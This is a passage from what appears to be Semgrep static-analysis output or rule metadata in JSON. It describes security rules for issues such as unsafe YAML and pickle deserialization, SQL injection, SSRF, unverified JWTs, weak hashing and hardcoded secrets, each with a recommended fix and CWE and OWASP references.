[https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n","text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","id":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","name":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli)\n - [https://pypi.org/project/pymssql/](https://pypi.org/project/pymssql/)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli","id":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","name":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.pymssql-sqli.pymssql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","id":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","name":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host","id":"python.django.security.injection.tainted-url-host.tainted-url-host","name":"python.django.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"help":{"markdown":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","id":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","name":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.detailed-exceptions.detailed-exceptions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"help":{"markdown":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","id":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","name":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"help":{"markdown":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode)\n - [https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96](https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96)\n","text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"helpUri":"https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","id":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","name":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.unverified-jwt-decode.unverified-jwt-decode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv","id":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","name":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","properties":{"precision":"very-high","tags":["CWE-329: Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-iv.hardcoded-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","id":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","name":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"help":{"markdown":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key","id":"generic.secrets.security.detected-private-key.detected-private-key","name":"generic.secrets.security.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"help":{"markdown":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn)\n - [http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html](http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html)\n","text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","id":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","name":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"help":{"markdown":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use)\n - [https://www.php.net/manual/en/intro.ftp.php](https://www.php.net/manual/en/intro.ftp.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php)\n","text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"helpUri":"https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use","id":"php.lang.security.ftp-use.ftp-use","name":"php.lang.security.ftp-use.ftp-use","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.ftp-use.ftp-use"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","id":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","name":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"help":{"markdown":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"helpUri":"https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","id":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","name":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)\n","text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","id":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","name":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"help":{"markdown":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb)\n","text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","id":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","name":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep 